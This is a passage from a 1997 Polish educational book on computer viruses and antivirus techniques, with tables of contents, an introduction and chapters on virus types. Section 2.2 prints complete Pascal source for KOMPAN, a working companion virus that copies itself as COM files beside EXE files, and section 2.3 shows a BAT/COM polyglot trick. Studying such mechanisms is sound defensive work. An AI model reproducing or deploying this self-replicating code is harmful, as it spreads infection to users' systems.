Adam Blaszczyk Wirusy

SPIS ROZDZIAŁÓW

Wstęp ............................................ XV
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1
Rozdział 2. Rodzaje wirusów ..............................................................5
Rozdział 3. Podział wirusów ze względu na sposób działania po
uruchomieniu ..................................................................17
Rozdział 4. Obiekty atakowane przez wirusy ....................................33
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do
systemu ........................................................................109
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143
Rozdział 8. Szyfrowanie kodu ..........................................................173
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213
Rozdział 10. Przyszłość wirusów .......................................................235
Rozdział 11. Rodzaje programów antywirusowych ............................241
Rozdział 12. Techniki używane przez programy antywirusowe .........247
Rozdział 13. Konwencje stosowane przez programy antywirusowe -
standard CARO ............................................................299
Rozdział 14. Profilaktyka antywirusowa ............................................311
Rozdział 15. Literatura .......................................................................319

SPIS TREŚCI
Wstęp XV
Rozdział 1. Podstawowe wiadomości o wirusach .......... 1
1.1. Co to jest i jak działa wirus komputerowy ...............................

1.2. Języki programowania wykorzystane do pisania wirusów ......

Rozdział 2. Rodzaje wirusów ..........................................

2.1. Wirusy pasożytnicze (ang. parasite infectors) .......................

2.2. Wirusy towarzyszące (ang. companion infectors) .................

2.3. Wirusy plików wsadowych (ang. batchviruses).......................

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) ..............

2.5. Generatory wirusów ................................................................

2.6. Robaki (ang. worms) ..............................................................

2.7. Konie trojańskie (ang. trojan horses) ......................................

2.8. Bomby logiczne (ang. logical bombs)......................................

Rozdział 3. Podział wirusów ze względu na sposób działania
po uruchomieniu ............................................................

3.1. Wirusy nierezydentne (ang. non-resident yiruses) ...............

3.2. Wirusy rezydentme (ang. resident viruses) ..........................

3.2.1. Szybkie infektory (ang. fast infectors) ..................................

3.2.2. Wolne infektory (ang. slow infectors) ...................................

Rozdział 4. Obiekty atakowane przez wirusy .................. 33
4.1. Pliki...................................................................................35
4.1.1. Pliki wykonywalne COM .............................

4.1.2. Pliki wykonywalne EXE ............................... 45
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57
4.1.2.2.1. Pliki EXE dla Windows (NE) .............................

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) ....

4.1.4. Pliki systemowe DOS ...............................

4.1.4.1. Interpretator poleceń .................................... 75
4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75
4.1.5. Pliki wsadowe BAT ................................. 76
4.1.6. Pliki DOC .........................................

4.1.7. Pliki XLS..........................................

4.1.8. Pliki ASM .........................................

4.2. Sektory systemowe .................................. 86
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............

4.5. Wirusy kombinowane (ang. multipartition) ................

Rozdział 5. Instalacja w pamięci operacyjnej .............

5.1. Instalacja w tablicy wektorów przerwań ..................

5.2. Instalacja w obszarze zmiennych DOS ..................

100

5.3. Instalacja w pamięci poniżej 640kB i UMB ...............

100

5.4. Instalacja w pamięci HMA .............................

106

5.5. Nietypowe metody instalacji ...........................

107

5.5.1. Pamięć ekranu ....................................

107

5.5.2. Bufory dyskowe DOS ...............................

108

Rozdział 6. Przejmowanie przerwań i znajdowanie czystych
wejść do systemu ...................................

109

6.1. Najczęściej przejmowane i wykorzystywane przerwania .....

111

6.2. Wykorzystanie funkcji DOS ............................

117

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania
i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania
21hl2Fh) ............................................ 120
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122
6.4.4. Trik 2F/13 ........................................ 124
6.5. Wykorzystanie trybu chronionego ....................... 141
6.6. Włączanie się jako program obsługi urządzenia ........... 142
Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143
7.1. Technika stealth ..................................... 145
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146
7.1.1.2. Programy nakładkowe używające krótkich nazw programów
(DOS, Windows 3.1)...................................... 149
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150
7.1.2. Podawanie oryginalnych długości i zawartości plików
(ang.full stealth)....................................... 152
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth)
.............................................. 169
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych
(ang. hardware level stealth) ............... 169
7.2. Modyfikacja CMOS-a ................................. 170
7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171
7.4. Dodatkowe ścieżki na dyskach ......................... 171
Rozdział 8. Szyfrowanie kodu ......................... 173
8.1. Procedury szyfrujące kod ............................. 177
8.2. Procedury dekodujące ................................ 178
8.2.1. Polimorficzne procedury dekodujące ................... 179
8.2.1.1. Semi-polimorfizm ........................................ 179
8.2.1.2. Pełny polimorfizm ........................................ 193
Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213
9.1. Sposoby dostępu do dysków .......................... 215
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-
ne i antyheurystyczne .................................... 227
9.3. Optymalizacje kodu .................................. 231
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi
monitorami antywirusowymi .................... 232
Rozdział 10. Przyszłość wirusów ......................... 235
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform
viruses) ............................................. 237
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239
Rozdział 11. Rodzaje programów antywirusowych ......... 241
11.1. Skanery (ang. scaners) ............................. 243
11.2. Monitory (ang. behaviour blockers, interceptors, resident
monitors) ............................................ 243
11.3. Szczepionki (ang. disinfectors) ....................... 244
11.4. Programy autoweryfikujące .......................... 244
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245
Rozdział 12. Techniki używane przez programy antywirusowe
....................................... 247
12.1. Skaning .......................................... 249
12.2. Heurystycze wyszukiwanie wirusów .................... 272
12.3. Tryb krokowy ...................................... 284
12.4. Emulacja procesora ................................. 284
12.5. Przynęty (ang. baits, decoys) ......................... 285

12.6. Odświeżanie programów systemowych w sektorach ....... 285
12.7. Blokowanie programów używających trybu krokowego ..... 286
12.8. Pobieranie wielkości pamięci operacyjnej ............... 291
Rozdział 13. Konwencje stosowane przez programy antywiru-
sowe - standard CARO ..............................

299

Rozdział 14. Profilaktyka antywirusowa .................. 311
14.1. Ochrona przed wirusami plików uruchamialnych ......... 313
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ...

315

14.3. Ochrona przed makrowirusami ........................

316

Rozdział 15. Literatura ...............................

319

Wstęp

Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej
tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.
Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich
twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy.
Tymczasem wirus to zwykły program komputerowy który choć może bardziej
wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek
aplikacja użytkowa czy gra.
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od
dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem,
Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się
najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego
wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo
mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z
zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do
tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera,
najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy
zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie
MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory
antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie
procedur obsługi przerwania 13h.
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę
sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę
wmieszają się media, żerujące na
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną
furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę
komentarzy na temat bezpieczeństwa systemów komputerowych.
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami.
Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych,
nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów
zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP.
Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa
się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty
wewnątrz wirusa).

Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego
bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z
powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw
komputerowych, które istnieją już w wielu państwach zachodnich.
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć
się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie
archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji
źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw.
ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików
tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD,
NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących
te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej
deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo
programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie
wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego,
ale i sprawdzenia własnych umiejętności programistycznych.
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby
tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z
czołowych firm amerykańskich produkującej programy antywirusowe znajduje się
obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z
niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów
skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie:
nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione
własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio
wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje
różnych środowisk zwykle starają się załatać istniejące luki w systemie.
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w
literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej
indywidualnym procesem twórczym, o tyle pisanie skutecznych programów
antywirusowych stało się domeną całych grup programistycznych, których członkowie
muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów.
Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością,
którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą
przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet
zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na
najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i
trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i
rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych
zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i
antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi
infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż
zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.
Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów
antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się
zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i
usuwania.

Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy
wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i
trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy,
omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm
(wykorzystywanie zmiennych procedur szyfrujących);
> stealth (zaawansowane ukrywanie się w systemie);
> heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości
charakterystycznych ciągów instrukcji).
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów
PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna
znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.:
Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie
na końcu książki.
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca
używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty
(XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis
(4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji
4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21)
oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym
przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh)
pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu
różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale
rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt
List Ralpha Browne'a.
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu.
Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia
angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z
celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów
angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat
dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych
terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu
używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi
komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego
polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np.
stealth).

1.1. Co to jest i jak działa wirus komputerowy

Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność
samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych
wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces
infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora.
Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces
samopowielania - replikacją. Długość typowego wirusa waha się w granicach od
kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności
programistycznych jego twórcy, a także od języka programowania użytego do jego
napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie

wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba
formatowania dysku twardego).
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang.
dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez
błędy.
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość
sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy
użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać
system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument,
nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.

1.2. Języki programowania wykorzystywane do pisania wirusów.

Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka
programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w
czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego
przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z
punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od
kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program
zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji
4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez
siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i
epilogi, niewidoczne dla piszącego w danym języku programisty, które są
odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć,
iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost
proporcjonalna do poziomu języka programowania, w którym został on napisany. Na
korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą
swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego
wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy
rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne
pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony
do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim
napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one
egzystować tylko w jednej rodzinie komputerów.
Oprócz typowych języków programowania do zaprojektowania wirusa można
wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze
kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego
przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim
operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza
dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez
dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na
fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności
ingerencji programisty.

ROZDZIAŁ 2

2.1. Wirusy pasożytnicze (ang. parasite infectors)

W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują
swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem
dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii
zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek
stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami,
mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po
zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie
używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące
się na dyskietkach lub dopiero na nie kopiowane.
Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli
się na:
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często
nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy
plik);
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej
rozpowszechniona odmiana wirusów pasożytniczych, które modyfikują pewne ustalone
struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego
końcu;
> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE
przeznaczonych dla systemu DOS; wykorzystują one fakt, iż nagłówek plików EXE jest
standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora
(512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje
poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13);
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar
(np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave
infectors),
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie,
bardzo trudne do napisania;
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space
infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej
JAP.

2.2. Wirusy towarzyszące (ang. companion infectors)

Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one
pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas
uruchamiania programów.
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia
uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE,
a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą
Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT.
Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:
- PROG.BAT,
- PROG.COM,
- PROG.EXE,
to kolejność ich uruchamiania byłaby następująca:
- PROG.COM,

- PROG.EXE,
- PROG.BAT.
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez
rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku
uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie
usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga
albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii
poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować
uruchamiany program:
- Istnieje plik COM: nie można zastosować infekcji;
- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM,
zawierający wirusa;
- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub
EXE, zawierający wirusa.
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw
uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu
pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie
programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany
przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path
companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez
system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy
plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej
środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym
wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż
kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH.
Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:
PATH = C:\;C:\DOS;C:\WINDOWS,
a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania
systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez
podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS
system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy
program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa
towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.

(*;--------------------------------------------------------------
----------;*)
(*;
;*)
(*; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;*)
(*;
;*)
(*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997
;*)
(*;
;*)
(*; Prosty wirus typu towarzyszacego

;*)
(*; Infekuje pliki EXE w biezacym katalogu
;*)
(*; Do istniejacego pliku EXE dopisuje plik o
rozszerzeniu COM ;*)
(*;
;*)
(*;--------------------------------------------------------------
----------;*)

{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}
{$M 8192,0,16384}

uses
Dos, Crt;

const
MaskaEXE = '*.EXE';

var
Szuk : SearchRec;
NazwaNosiciela,
NazwaOfiary : String;
PlikNosiciela,
PlikOfiary : File;
DlugoscNosiciela : LongInt;
Bufor : Pointer;
I : Byte;
Status : Boolean;

begin

WriteLn;
WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');
WriteLn;

NazwaNosiciela := ParamStr (0);

WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');

if UpCase(ReadKey)='T' then
begin

WriteLn;
Status :=False;
FindFirst (MaskaEXE, AnyFile, Szuk);

while (DosError = 0) and (IOResult = 0) and (not Status) do
begin
with Szuk do
if not ((Name='.') or
(Name='..') or
(not (Attr and Directory and VolumeID<>0)))
then

begin
NazwaOfiary:=Name;

Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);

NazwaOfiary:=NazwaOfiary+'COM';

Assign (PlikOfiary, NazwaOfiary);

Reset (PlikOfiary,1);

if IOResult <> 0 then
begin
Status:=True;
WriteLn (' Tworze KOMPANA : ',NazwaOfiary);
Assign (PlikNosiciela, NazwaNosiciela);
Reset (PlikNosiciela, 1);

DlugoscNosiciela := FileSize
(PlikNosiciela);
GetMem (Bufor,DlugoscNosiciela);
BlockRead (PlikNosiciela, Bufor^,
DlugoscNosiciela);
ReWrite (PlikOfiary,1);
BlockWrite (PlikOfiary , Bufor^,
DlugoscNosiciela);
Close (PlikNosiciela);
Close (PlikOfiary);
FreeMem (Bufor, DlugoscNosiciela);
end;
end;
FindNext (Szuk);
end;

If Not Status then WriteLn (' Nie znalazlem zadnego
kandydata do infekcji !');
end;

Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);
NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';

for I:=1 to ParamCount do
NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);

SwapVectors;
Exec(GetEnv('COMSPEC'), NazwaNosiciela);
SwapVectors;
end.

2.3. Wirusy plików wsadowych (ang. batchviruses)

Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość
dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny
twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki

BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego,
wcale nie tak trudnego, zaprogramowania).
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy
COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do
pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on
wykonywany, a następnie kasowany.
Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną
manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik
BAT, jak i plik COM.
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako
część kodu programu COM, będą rozumiane jako:

polecenie pliku BAT

instrukcje widziane przez
procesor

REM

52h PUSH DX ; db 'R'
45h INC BP ; db 'E'
4Dh DEC BP ; db 'M'

ECHO

45h INC BP : db 'E'
43h INC BX : db 'C'
48h DEC AX ; db 'H'
4Fh DEC Dl ; db 'O'

40h INC AX ; db '@'

7t0 (deklaracja etykiety -
interpretator nie wykonuje)

3Ah 37h CMP DH.[BX]; db ':7'
74h 30h JZ $+30h ; 't0'

Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku
tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.
Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT),
który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy
COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został
wywołany.
:7█:
@ECHO OFF
@ECHO Dzialam jako plik BAT !
@GOTO KONIEC
¬II-I@ŽM_-!ŽL-!Dzialam jako plik COM !$
:KONIEC

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)

Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają
programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze
obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne:
Microsoft Excel), SAM (dokumenty: AmiPro).
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr,
wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie
for Applications w programie Microsoft Excel.

2.5. Generatory wirusów

Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających
stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów
wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet.
Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych
parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu
lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych
przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a
także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa
(gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane
źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem
